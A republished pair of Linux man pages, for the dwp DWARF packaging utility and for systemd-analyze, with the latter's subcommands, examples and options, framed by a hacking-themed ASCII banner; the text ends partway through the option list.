              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

214 - Linux cli command x86_64-linux-gnu-dwp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-dwp and provides detailed information about the command x86_64-linux-gnu-dwp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-dwp.

NAME 🖥️ x86_64-linux-gnu-dwp 🖥️

The DWARF packaging utility

SYNOPSIS

dwp [options] [file…]

DESCRIPTION

-h, –help
Print this help message

-e EXE, –exec EXE
Get list of dwo files from EXE (defaults output to EXE.dwp)

-o FILE, –output FILE
Set output dwp file name

-v, –verbose
Verbose output

–verify-only
Verify output file against exec file

-V, –version
Print version number

REPORTING BUGS

Report bugs to <https://sourceware.org/bugzilla/>

COPYRIGHT

Copyright © 2024 Free Software Foundation, Inc. This program is free software; you may redistribute it under the terms of the GNU General Public License version 3 or (at your option) any later version. This program has absolutely no warranty.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

215 - Linux cli command systemd-analyze

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-analyze and provides detailed information about the command systemd-analyze, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-analyze.

NAME 🖥️ systemd-analyze 🖥️

analyze - Analyze and debug system manager

SYNOPSIS

systemd-analyze [OPTIONS…] [time]

systemd-analyze [OPTIONS…] blame

systemd-analyze [OPTIONS…] critical-chain [UNIT…]

systemd-analyze [OPTIONS…] dump [PATTERN…]

systemd-analyze [OPTIONS…] plot [>file.svg]

systemd-analyze [OPTIONS…] dot [PATTERN…] [>file.dot]

systemd-analyze [OPTIONS…] unit-files

systemd-analyze [OPTIONS…] unit-paths

systemd-analyze [OPTIONS…] exit-status [STATUS…]

systemd-analyze [OPTIONS…] capability [CAPABILITY…]

systemd-analyze [OPTIONS…] condition CONDITION

systemd-analyze [OPTIONS…] syscall-filter [SET…]

systemd-analyze [OPTIONS…] filesystems [SET…]

systemd-analyze [OPTIONS…] calendar SPEC

systemd-analyze [OPTIONS…] timestamp TIMESTAMP

systemd-analyze [OPTIONS…] timespan SPAN

systemd-analyze [OPTIONS…] cat-config NAME|PATH

systemd-analyze [OPTIONS…] compare-versions VERSION1 [OP] VERSION2

systemd-analyze [OPTIONS…] verify FILE

systemd-analyze [OPTIONS…] security [UNIT…]

systemd-analyze [OPTIONS…] inspect-elf FILE

systemd-analyze [OPTIONS…] malloc [D-BUS SERVICE…]

systemd-analyze [OPTIONS…] fdstore UNIT

systemd-analyze [OPTIONS…] image-policy POLICY

systemd-analyze [OPTIONS…] pcrs [PCR…]

systemd-analyze [OPTIONS…] srk [>FILE]

systemd-analyze [OPTIONS…] architectures [NAME…]

DESCRIPTION

systemd-analyze may be used to determine system boot-up performance statistics and retrieve other state and tracing information from the system and service manager, and to verify the correctness of unit files. It is also used to access special functions useful for advanced system manager debugging.

If no command is passed, systemd-analyze time is implied.

systemd-analyze time

This command prints the time spent in the kernel before userspace has been reached, the time spent in the initrd before normal system userspace has been reached, and the time normal system userspace took to initialize. Note that these measurements simply measure the time passed up to the point where all system services have been spawned, but not necessarily until they fully finished initialization or the disk is idle.

Example 1. Show how long the boot took

in a container

$ systemd-analyze time
Startup finished in 296ms (userspace)
multi-user.target reached after 275ms in userspace

# on a real machine
$ systemd-analyze time
Startup finished in 2.584s (kernel) + 19.176s (initrd) + 47.847s (userspace) = 1min 9.608s
multi-user.target reached after 47.820s in userspace

systemd-analyze blame

This command prints a list of all running units, ordered by the time they took to initialize. This information may be used to optimize boot-up times. Note that the output might be misleading as the initialization of one service might be slow simply because it waits for the initialization of another service to complete. Also note: systemd-analyze blame doesnt display results for services with Type=simple, because systemd considers such services to be started immediately, hence no measurement of the initialization delays can be done. Also note that this command only shows the time units took for starting up, it does not show how long unit jobs spent in the execution queue. In particular it shows the time units spent in “activating” state, which is not defined for units such as device units that transition directly from “inactive” to “active”. This command hence gives an impression of the performance of program code, but cannot accurately reflect latency introduced by waiting for hardware and similar events.

Example 2. Show which units took the most time during boot

$ systemd-analyze blame 32.875s pmlogger.service 20.905s systemd-networkd-wait-online.service 13.299s dev-vda1.device … 23ms sysroot.mount 11ms initrd-udevadm-cleanup-db.service 3ms sys-kernel-config.mount

systemd-analyze critical-chain [UNIT…]

This command prints a tree of the time-critical chain of units (for each of the specified UNITs or for the default target otherwise). The time after the unit is active or started is printed after the “@” character. The time the unit takes to start is printed after the “+” character. Note that the output might be misleading as the initialization of services might depend on socket activation and because of the parallel execution of units. Also, similarly to the blame command, this only takes into account the time units spent in “activating” state, and hence does not cover units that never went through an “activating” state (such as device units that transition directly from “inactive” to “active”). Moreover it does not show information on jobs (and in particular not jobs that timed out).

Example 3. systemd-analyze critical-chain

$ systemd-analyze critical-chain multi-user.target @47.820s └─pmie.service @35.968s +548ms └─pmcd.service @33.715s +2.247s └─network-online.target @33.712s └─systemd-networkd-wait-online.service @12.804s +20.905s └─systemd-networkd.service @11.109s +1.690s └─systemd-udevd.service @9.201s +1.904s └─systemd-tmpfiles-setup-dev.service @7.306s +1.776s └─kmod-static-nodes.service @6.976s +177ms └─systemd-journald.socket └─system.slice └─-.slice

systemd-analyze dump [pattern…]

Without any parameter, this command outputs a (usually very long) human-readable serialization of the complete service manager state. Optional glob pattern may be specified, causing the output to be limited to units whose names match one of the patterns. The output format is subject to change without notice and should not be parsed by applications. This command is rate limited for unprivileged users.

Example 4. Show the internal state of user manager

$ systemd-analyze –user dump Timestamp userspace: Thu 2019-03-14 23:28:07 CET Timestamp finish: Thu 2019-03-14 23:28:07 CET Timestamp generators-start: Thu 2019-03-14 23:28:07 CET Timestamp generators-finish: Thu 2019-03-14 23:28:07 CET Timestamp units-load-start: Thu 2019-03-14 23:28:07 CET Timestamp units-load-finish: Thu 2019-03-14 23:28:07 CET -> Unit proc-timer_list.mount: Description: /proc/timer_list … -> Unit default.target: Description: Main user target …

systemd-analyze malloc [D-Bus service…]

This command can be used to request the output of the internal memory state (as returned by malloc_info(3)) of a D-Bus service. If no service is specified, the query will be sent to org.freedesktop.systemd1 (the system or user service manager). The output format is not guaranteed to be stable and should not be parsed by applications.

The service must implement the org.freedesktop.MemoryAllocation1 interface. In the systemd suite, it is currently only implemented by the manager.

systemd-analyze plot

This command prints either an SVG graphic, detailing which system services have been started at what time, highlighting the time they spent on initialization, or the raw time data in JSON or table format.

Example 5. Plot a bootchart

$ systemd-analyze plot >bootup.svg $ eog bootup.svg&

Note that this plot is based on the most recent per-unit timing data of loaded units. This means that if a unit gets started, then stopped and then started again the information shown will cover the most recent start cycle, not the first one. Thus its recommended to consult this information only shortly after boot, so that this distinction doesnt matter. Moreover, units that are not referenced by any other unit through a dependency might be unloaded by the service manager once they terminate (and did not fail). Such units will not show up in the plot.

systemd-analyze dot [pattern…]

This command generates textual dependency graph description in dot format for further processing with the GraphViz dot(1) tool. Use a command line like systemd-analyze dot | dot -Tsvg >systemd.svg to generate a graphical dependency tree. Unless –order or –require is passed, the generated graph will show both ordering and requirement dependencies. Optional pattern globbing style specifications (e.g. *.target) may be given at the end. A unit dependency is included in the graph if any of these patterns match either the origin or destination node.

Example 6. Plot all dependencies of any unit whose name starts with “avahi-daemon”

$ systemd-analyze dot avahi-daemon.* | dot -Tsvg >avahi.svg $ eog avahi.svg

Example 7. Plot the dependencies between all known target units

$ systemd-analyze dot –to-pattern=.target –from-pattern=.target
| dot -Tsvg >targets.svg $ eog targets.svg

systemd-analyze unit-paths

This command outputs a list of all directories from which unit files, .d overrides, and .wants, .requires symlinks may be loaded. Combine with –user to retrieve the list for the user manager instance, and –global for the global configuration of user manager instances.

Example 8. Show all paths for generated units

$ systemd-analyze unit-paths | grep ^/run /run/systemd/system.control /run/systemd/transient /run/systemd/generator.early /run/systemd/system /run/systemd/system.attached /run/systemd/generator /run/systemd/generator.late

Note that this verb prints the list that is compiled into systemd-analyze itself, and does not communicate with the running manager. Use

systemctl [–user] [–global] show -p UnitPath –value

to retrieve the actual list that the manager uses, with any empty directories omitted.

systemd-analyze exit-status [STATUS…]

This command prints a list of exit statuses along with their “class”, i.e. the source of the definition (one of “glibc”, “systemd”, “LSB”, or “BSD”), see the Process Exit Codes section in systemd.exec(5). If no additional arguments are specified, all known statuses are shown. Otherwise, only the definitions for the specified codes are shown.

Example 9. Show some example exit status names

$ systemd-analyze exit-status 0 1 {63..65} NAME STATUS CLASS SUCCESS 0 glibc FAILURE 1 glibc - 63 - USAGE 64 BSD DATAERR 65 BSD

systemd-analyze capability [CAPABILITY…]

This command prints a list of Linux capabilities along with their numeric IDs. See capabilities(7) for details. If no argument is specified the full list of capabilities known to the service manager and the kernel is shown. Capabilities defined by the kernel but not known to the service manager are shown as “cap_???”. Optionally, if arguments are specified they may refer to specific cabilities by name or numeric ID, in which case only the indicated capabilities are shown in the table.

Example 10. Show some example capability names

$ systemd-analyze capability 0 1 {30..32} NAME NUMBER cap_chown 0 cap_dac_override 1 cap_audit_control 30 cap_setfcap 31 cap_mac_override 32

systemd-analyze condition CONDITION

This command will evaluate Condition*=… and Assert*=… assignments, and print their values, and the resulting value of the combined condition set. See systemd.unit(5) for a list of available conditions and asserts.

Example 11. Evaluate conditions that check kernel versions

$ systemd-analyze condition ConditionKernelVersion = ! <4.0
ConditionKernelVersion = >=5.1
ConditionACPower=|false
ConditionArchitecture=|!arm
AssertPathExists=/etc/os-release test.service: AssertPathExists=/etc/os-release succeeded. Asserts succeeded. test.service: ConditionArchitecture=|!arm succeeded. test.service: ConditionACPower=|false failed. test.service: ConditionKernelVersion=>=5.1 succeeded. test.service: ConditionKernelVersion=!<4.0 succeeded. Conditions succeeded.

systemd-analyze syscall-filter [SET…]

This command will list system calls contained in the specified system call set SET, or all known sets if no sets are specified. Argument SET must include the “@” prefix.

systemd-analyze filesystems [SET…]

This command will list filesystems in the specified filesystem set SET, or all known sets if no sets are specified. Argument SET must include the “@” prefix.

systemd-analyze calendar EXPRESSION

This command will parse and normalize repetitive calendar time events, and will calculate when they elapse next. This takes the same input as the OnCalendar= setting in systemd.timer(5), following the syntax described in systemd.time(7). By default, only the next time the calendar expression will elapse is shown; use –iterations= to show the specified number of next times the expression elapses. Each time the expression elapses forms a timestamp, see the timestamp verb below.

Example 12. Show leap days in the near future

$ systemd-analyze calendar –iterations=5 *-2-29 0:0:0 Original form: *-2-29 0:0:0 Normalized form: *-02-29 00:00:00 Next elapse: Sat 2020-02-29 00:00:00 UTC From now: 11 months 15 days left Iter. #2: Thu 2024-02-29 00:00:00 UTC From now: 4 years 11 months left Iter. #3: Tue 2028-02-29 00:00:00 UTC From now: 8 years 11 months left Iter. #4: Sun 2032-02-29 00:00:00 UTC From now: 12 years 11 months left Iter. #5: Fri 2036-02-29 00:00:00 UTC From now: 16 years 11 months left

systemd-analyze timestamp TIMESTAMP

This command parses a timestamp (i.e. a single point in time) and outputs the normalized form and the difference between this timestamp and now. The timestamp should adhere to the syntax documented in systemd.time(7), section “PARSING TIMESTAMPS”.

Example 13. Show parsing of timestamps

$ systemd-analyze timestamp yesterday now tomorrow Original form: yesterday Normalized form: Mon 2019-05-20 00:00:00 CEST (in UTC): Sun 2019-05-19 22:00:00 UTC UNIX seconds: @15583032000 From now: 1 day 9h ago

  Original form: now
Normalized form: Tue 2019-05-21 09:48:39 CEST
       (in UTC): Tue 2019-05-21 07:48:39 UTC
   UNIX seconds: @1558424919.659757
       From now: 43us ago

  Original form: tomorrow
Normalized form: Wed 2019-05-22 00:00:00 CEST
       (in UTC): Tue 2019-05-21 22:00:00 UTC
   UNIX seconds: @15584760000
       From now: 14h left

systemd-analyze timespan EXPRESSION

This command parses a time span (i.e. a difference between two timestamps) and outputs the normalized form and the equivalent value in microseconds. The time span should adhere to the syntax documented in systemd.time(7), section “PARSING TIME SPANS”. Values without units are parsed as seconds.

Example 14. Show parsing of timespans

$ systemd-analyze timespan 1s 300s 1year 0.000001s Original: 1s μs: 1000000 Human: 1s

Original: 300s
      μs: 300000000
   Human: 5min

Original: 1year 0.000001s
      μs: 31557600000001
   Human: 1y 1us

systemd-analyze cat-config NAME|PATH

This command is similar to systemctl cat, but operates on config files. It will copy the contents of a config file and any drop-ins to standard output, using the usual systemd set of directories and rules for precedence. Each argument must be either an absolute path including the prefix (such as /etc/systemd/logind.conf or /usr/lib/systemd/logind.conf), or a name relative to the prefix (such as systemd/logind.conf).

Example 15. Showing logind configuration

$ systemd-analyze cat-config systemd/logind.conf # /etc/systemd/logind.conf … [Login] NAutoVTs=8 …

# /usr/lib/systemd/logind.conf.d/20-test.conf
... some override from another package

# /etc/systemd/logind.conf.d/50-override.conf
... some administrator override

systemd-analyze compare-versions VERSION1 [OP] VERSION2

This command has two distinct modes of operation, depending on whether the operator OP is specified.

In the first mode — when OP is not specified — it will compare the two version strings and print either “VERSION1 < VERSION2”, or “VERSION1 == VERSION2”, or “VERSION1 > VERSION2” as appropriate.

The exit status is 0 if the versions are equal, 11 if the version of the right is smaller, and 12 if the version of the left is smaller. (This matches the convention used by rpmdev-vercmp.)

In the second mode — when OP is specified — it will compare the two version strings using the operation OP and return 0 (success) if they condition is satisfied, and 1 (failure) otherwise. OP may be lt, le, eq, ne, ge, gt. In this mode, no output is printed. (This matches the convention used by dpkg(1) –compare-versions.)

Example 16. Compare versions of a package

$ systemd-analyze compare-versions systemd-250rc1.fc36.aarch64 systemd-251.fc36.aarch64 systemd-250rc1.fc36.aarch64 < systemd-251.fc36.aarch64 $ echo $? 12

$ systemd-analyze compare-versions 1 lt 2; echo $?
0
$ systemd-analyze compare-versions 1 ge 2; echo $?
1

systemd-analyze verify FILE

This command will load unit files and print warnings if any errors are detected. Files specified on the command line will be loaded, but also any other units referenced by them. A units name on disk can be overridden by specifying an alias after a colon; see below for an example. The full unit search path is formed by combining the directories for all command line arguments, and the usual unit load paths. The variable $SYSTEMD_UNIT_PATH is supported, and may be used to replace or augment the compiled in set of unit load paths; see systemd.unit(5). All units files present in the directories containing the command line arguments will be used in preference to the other paths.

The following errors are currently detected:

·

unknown sections and directives,

·

missing dependencies which are required to start the given unit,

·

man pages listed in Documentation= which are not found in the system,

·

commands listed in ExecStart= and similar which are not found in the system or not executable.

Example 17. Misspelt directives

$ cat ./user.slice [Unit] WhatIsThis=11 Documentation=man:nosuchfile(1) Requires=different.service

[Service]
Description=x

$ systemd-analyze verify ./user.slice
[./user.slice:9] Unknown lvalue WhatIsThis in section Unit
[./user.slice:13] Unknown section Service. Ignoring.
Error: org.freedesktop.systemd1.LoadFailed:
   Unit different.service failed to load:
   No such file or directory.
Failed to create user.slice/start: Invalid argument
user.slice: man nosuchfile(1) command failed with code 16

Example 18. Missing service units

$ tail ./a.socket ./b.socket ==> ./a.socket <== [Socket] ListenStream=100

==> ./b.socket <==
[Socket]
ListenStream=100
Accept=yes

$ systemd-analyze verify ./a.socket ./b.socket
Service a.service not loaded, a.socket cannot be started.
Service [email protected] not loaded, b.socket cannot be started.

Example 19. Aliasing a unit

$ cat /tmp/source [Unit] Description=Hostname printer

[Service]
Type=simple
ExecStart=/usr/bin/echo %H
MysteryKey=true

$ systemd-analyze verify /tmp/source
Failed to prepare filename /tmp/source: Invalid argument

$ systemd-analyze verify /tmp/source:alias.service
alias.service:7: Unknown key name MysteryKey in section Service, ignoring.

systemd-analyze security [UNIT…]

This command analyzes the security and sandboxing settings of one or more specified service units. If at least one unit name is specified the security settings of the specified service units are inspected and a detailed analysis is shown. If no unit name is specified, all currently loaded, long-running service units are inspected and a terse table with results shown. The command checks for various security-related service settings, assigning each a numeric “exposure level” value, depending on how important a setting is. It then calculates an overall exposure level for the whole unit, which is an estimation in the range 0.0…10.0 indicating how exposed a service is security-wise. High exposure levels indicate very little applied sandboxing. Low exposure levels indicate tight sandboxing and strongest security restrictions. Note that this only analyzes the per-service security features systemd itself implements. This means that any additional security mechanisms applied by the service code itself are not accounted for. The exposure level determined this way should not be misunderstood: a high exposure level neither means that there is no effective sandboxing applied by the service code itself, nor that the service is actually vulnerable to remote or local attacks. High exposure levels do indicate however that most likely the service might benefit from additional settings applied to them.

Please note that many of the security and sandboxing settings individually can be circumvented — unless combined with others. For example, if a service retains the privilege to establish or undo mount points many of the sandboxing options can be undone by the service code itself. Due to that is essential that each service uses the most comprehensive and strict sandboxing and security settings possible. The tool will take into account some of these combinations and relationships between the settings, but not all. Also note that the security and sandboxing settings analyzed here only apply to the operations executed by the service code itself. If a service has access to an IPC system (such as D-Bus) it might request operations from other services that are not subject to the same restrictions. Any comprehensive security and sandboxing analysis is hence incomplete if the IPC access policy is not validated too.

Example 20. Analyze systemd-logind.service

$ systemd-analyze security –no-pager systemd-logind.service NAME DESCRIPTION EXPOSURE ✗ PrivateNetwork= Service has access to the hosts network 0.5 ✗ User=/DynamicUser= Service runs as root user 0.4 ✗ DeviceAllow= Service has no device ACL 0.2 ✓ IPAddressDeny= Service blocks all IP address ranges … → Overall exposure level for systemd-logind.service: 4.1 OK 🙂

systemd-analyze inspect-elf FILE

This command will load the specified files, and if they are ELF objects (executables, libraries, core files, etc.) it will parse the embedded packaging metadata, if any, and print it in a table or json format. See the Packaging Metadata[1] documentation for more information.

Example 21. Print information about a core file as JSON

$ systemd-analyze inspect-elf –json=pretty
core.fsverity.1000.f77dac5dc161402aa44e15b7dd9dcf97.58561.1637106137000000 { “elfType” : “coredump”, “elfArchitecture” : “AMD x86-64”, “/home/bluca/git/fsverity-utils/fsverity” : { “type” : “deb”, “name” : “fsverity-utils”, “version” : “1.3-1”, “buildId” : “7c895ecd2a271f93e96268f479fdc3c64a2ec4ee” }, “/home/bluca/git/fsverity-utils/libfsverity.so.0” : { “type” : “deb”, “name” : “fsverity-utils”, “version” : “1.3-1”, “buildId” : “b5e428254abf14237b0ae70ed85fffbb98a78f88” } }

systemd-analyze fdstore UNIT

Lists the current contents of the specified service units file descriptor store. This shows names, inode types, device numbers, inode numbers, paths and open modes of the open file descriptors. The specified units must have FileDescriptorStoreMax= enabled, see systemd.service(5) for details.

Example 22. Table output

$ systemd-analyze fdstore systemd-journald.service FDNAME TYPE DEVNO INODE RDEVNO PATH FLAGS stored sock 0:8 4218620 - socket:[4218620] ro stored sock 0:8 4213198 - socket:[4213198] ro stored sock 0:8 4213190 - socket:[4213190] ro …

Note: the “DEVNO” column refers to the major/minor numbers of the device node backing the file system the file descriptors inode is on. The “RDEVNO” column refers to the major/minor numbers of the device node itself if the file descriptor refers to one. Compare with corresponding .st_dev and .st_rdev fields in struct stat (see stat(2) for details). The listed inode numbers in the “INODE” column are on the file system indicated by “DEVNO”.

systemd-analyze image-policy POLICY

This command analyzes the specified image policy string, as per systemd.image-policy(7). The policy is normalized and simplified. For each currently defined partition identifier (as per the Discoverable Partitions Specification[2]) the effect of the image policy string is shown in tabular form.

Example 23. Example Output

$ systemd-analyze image-policy swap=encrypted:usr=read-only-on+verity:root=encrypted Analyzing policy: root=encrypted:usr=verity+read-only-on:swap=encrypted Long form: root=encrypted:usr=verity+read-only-on:swap=encrypted:=unused+absent

PARTITION       MODE        READ-ONLY GROWFS
root            encrypted   -         -
usr             verity      yes       -
home            ignore      -         -
srv             ignore      -         -
esp             ignore      -         -
xbootldr        ignore      -         -
swap            encrypted   -         -
root-verity     ignore      -         -
usr-verity      unprotected yes       -
root-verity-sig ignore      -         -
usr-verity-sig  ignore      -         -
tmp             ignore      -         -
var             ignore      -         -
default         ignore      -         -

systemd-analyze pcrs [PCR…]

This command shows the known TPM2 PCRs along with their identifying names and current values.

Example 24. Example Output

$ systemd-analyze pcrs NR NAME SHA256 0 platform-code bcd2eb527108bbb1f5528409bcbe310aa9b74f687854cc5857605993f3d9eb11 1 platform-config b60622856eb7ce52637b80f30a520e6e87c347daa679f3335f4f1a600681bb01 2 external-code 1471262403e9a62f9c392941300b4807fbdb6f0bfdd50abfab752732087017dd 3 external-config 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969 4 boot-loader-code 939f7fa1458e1f7ce968874d908e524fc0debf890383d355e4ce347b7b78a95c 5 boot-loader-config 864c61c5ea5ecbdb6951e6cb6d9c1f4b4eac79772f7fe13b8bece569d83d3768 6 - 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969 7 secure-boot-policy 9c905bd9b9891bfb889b90a54c4b537b889cfa817c4389cc25754823a9443255 8 - 0000000000000000000000000000000000000000000000000000000000000000 9 kernel-initrd 9caa29b128113ef42aa53d421f03437be57211e5ebafc0fa8b5d4514ee37ff0c 10 ima 5ea9e3dab53eb6b483b6ec9e3b2c712bea66bca1b155637841216e0094387400 11 kernel-boot 0000000000000000000000000000000000000000000000000000000000000000 12 kernel-config 627ffa4b405e911902fe1f1a8b0164693b31acab04f805f15bccfe2209c7eace 13 sysexts 0000000000000000000000000000000000000000000000000000000000000000 14 shim-policy 0000000000000000000000000000000000000000000000000000000000000000 15 system-identity 0000000000000000000000000000000000000000000000000000000000000000 16 debug 0000000000000000000000000000000000000000000000000000000000000000 17 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 18 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 19 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 20 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 21 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 22 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 23 application-support 0000000000000000000000000000000000000000000000000000000000000000

systemd-analyze srk [>FILE]

This command reads the Storage Root Key (SRK) from the TPM2 device, and writes it in marshalled TPM2B_PUBLIC format to stdout. The output is non-printable data, so it should be redirected to a file or into a pipe.

Example 25. Save the Storage Root Key to srk.tpm2b_public

systemd-analyze srk >srk.tpm2b_public

systemd-analyze architectures [NAME…]

Lists all known CPU architectures, and which ones are native. The listed architecture names are those ConditionArchitecture= supports, see systemd.unit(5) for details. If architecture names are specified only those specified are listed.

Example 26. Table output

$ systemd-analyze architectures NAME SUPPORT alpha foreign arc foreign arc-be foreign arm foreign arm64 foreign … sparc foreign sparc64 foreign tilegx foreign x86 secondary x86-64 native

OPTIONS

The following options are understood:

–system

Operates on the system systemd instance. This is the implied default.

Added in version 209.

–user

Operates on the user systemd instance.

Added in version 186.

–global

Operates on the system-wide configuration for user systemd instance.

Added in version 238.

–order, –require

When used in conjunction with the dot command (see above), selects which dependencies are shown in the dependency graph. If –order is passed, only dependencies of type After= or Before= are shown. If –require is passed, only dependencies of type Requires=, Requisite=, BindsTo=, Wants=, and Conflicts= are shown. If neither is passed, this shows dependencies of all these types.

Added in version 198.

–from-pattern=, –to-pattern=

When used in conjunction with the dot command (see above), this selects which relationships are shown in the dependency graph. Both options require a glob(7) pattern as an argument, which will be matched against the left-hand and the right-hand, respectively, nodes of a relationship.

Each of these can be used more than once, in which case the unit name must match one of the values. When tests for both sides of the relation are present, a relation must pass both tests to be shown. When patterns are also specified as positional arguments, they must match at least one side of the relation. In other words, patterns specified with those two options will trim the list of edges matched by the positional arguments, if any are given, and fully determine the list of edges shown otherwise.

Added in version 201.

**–fuzz=**timespan

When used in conjunction with the critical-chain command (see above), also show units, which finished timespan earlier, than the latest unit in the same level. The unit of timespan is seconds unless specified with a different unit, e.g. “50ms”.

Added in version 203.

–man=no

Do not invoke man(1) to verify the existence of man pages listed in Documentation=.

Added in version 235.

–generators

Invoke unit generators, see systemd.generator(7). Some generators require root privileges. Under a normal user, running with generators enabled will generally result in some warnings.

Added in version 235.

**–recursive-errors=**MODE

Control verification of units and their dependencies and whether systemd-analyze verify exits with a non-zero process exit status or not. With yes, return a non-zero process exit status when warnings arise during verification of either the specified unit or any of its associated dependencies. With no, return a non-zero process exit status when warnings arise during verification of only the specified unit. With one, return a non-zero process exit status when warnings arise during verification of either the specified unit or its immediate dependencies. If this option is not specified, zero is returned as the exit status regardless whether warnings arise during verification or not.

Added in version 250.

**–root=**PATH

With cat-config, verify, condition and security when used with –offline=, operate on files underneath the specified root path PATH.

Added in version 239.

**–image=**PATH

With cat-config, verify, condition and security when used with –offline=, operate on files inside the specified image path PATH.

Added in version 250.

**–image-policy=**policy

Takes an image policy string as argument, as per systemd.image-policy(7). The policy is enforced when operating on the disk image specified via –image=, see above. If not specified defaults to the “*” policy, i.e. all recognized file systems in the image are used.

**–offline=**BOOL

With security, perform an offline security review of the specified unit files, i.e. does not have to rely on PID 1 to acquire security information for the files like the security verb when used by itself does. This means that –offline= can be used with –root= and –image= as well. If a units overall exposure level is above that set by –threshold= (default value is 100), –offline= will return an error.

Added in version 250.

**–profile=**PATH

With security –offline=, takes into consideration the specified portable profile when assessing unit settings. The profile can be passed by name, in which case the well-known system locations will be searched, or it can be the full path to a specific drop-in file.

Added in version 250.

**–threshold=**NUMBER

With security, allow the user to set a custom value to compare the overall exposure level with, for the specified unit files. If a units overall exposure level, is greater than that set by the user, security will return an error. –threshold= can be used with –offline= as well and its default value is 100.

Added in version 250.

**–security-policy=**PATH

With security, allow the user to define a custom set of requirements formatted as a JSON file against which to compare the specified unit file(s) and determine their overall exposure level to security threats.

Table 1. Accepted Assessment Test Identifiers

Assessment Test Identifier
UserOrDynamicUser
SupplementaryGroups
PrivateMounts
PrivateDevices
PrivateTmp
PrivateNetwork
PrivateUsers
ProtectControlGroups
ProtectKernelModules
ProtectKernelTunables
ProtectKernelLogs
ProtectClock
ProtectHome
ProtectHostname
ProtectSystem
RootDirectoryOrRootImage
LockPersonality
MemoryDenyWriteExecute
NoNewPrivileges
CapabilityBoundingSet_CAP_SYS_ADMIN
CapabilityBoundingSet_CAP_SET_UID_GID_PCAP
CapabilityBoundingSet_CAP_SYS_PTRACE
CapabilityBoundingSet_CAP_SYS_TIME
CapabilityBoundingSet_CAP_NET_ADMIN
CapabilityBoundingSet_CAP_SYS_RAWIO
CapabilityBoundingSet_CAP_SYS_MODULE
CapabilityBoundingSet_CAP_AUDIT
CapabilityBoundingSet_CAP_SYSLOG
CapabilityBoundingSet_CAP_SYS_NICE_RESOURCE
CapabilityBoundingSet_CAP_MKNOD
CapabilityBoundingSet_CAP_CHOWN_FSETID_SETFCAP
CapabilityBoundingSet_CAP_DAC_FOWNER_IPC_OWNER
CapabilityBoundingSet_CAP_KILL
CapabilityBoundingSet_CAP_NET_BIND_SERVICE_BROADCAST_RAW
CapabilityBoundingSet_CAP_SYS_BOOT
CapabilityBoundingSet_CAP_MAC
CapabilityBoundingSet_CAP_LINUX_IMMUTABLE
CapabilityBoundingSet_CAP_IPC_LOCK
CapabilityBoundingSet_CAP_SYS_CHROOT
CapabilityBoundingSet_CAP_BLOCK_SUSPEND
CapabilityBoundingSet_CAP_WAKE_ALARM
CapabilityBoundingSet_CAP_LEASE
CapabilityBoundingSet_CAP_SYS_TTY_CONFIG
CapabilityBoundingSet_CAP_BPF
UMask
KeyringMode
ProtectProc
ProcSubset
NotifyAccess
RemoveIPC
Delegate
RestrictRealtime
RestrictSUIDSGID
RestrictNamespaces_user
RestrictNamespaces_mnt
RestrictNamespaces_ipc
RestrictNamespaces_pid
RestrictNamespaces_cgroup
RestrictNamespaces_uts
RestrictNamespaces_net
RestrictAddressFamilies_AF_INET_INET6
RestrictAddressFamilies_AF_UNIX
RestrictAddressFamilies_AF_NETLINK
RestrictAddressFamilies_AF_PACKET
RestrictAddressFamilies_OTHER
SystemCallArchitectures
SystemCallFilter_swap
SystemCallFilter_obsolete
SystemCallFilter_clock
SystemCallFilter_cpu_emulation
SystemCallFilter_debug
SystemCallFilter_mount
SystemCallFilter_module
SystemCallFilter_raw_io
SystemCallFilter_reboot
SystemCallFilter_privileged
SystemCallFilter_resources
IPAddressDeny
DeviceAllow
AmbientCapabilities

See example “JSON Policy” below.

Added in version 250.

**–json=**MODE

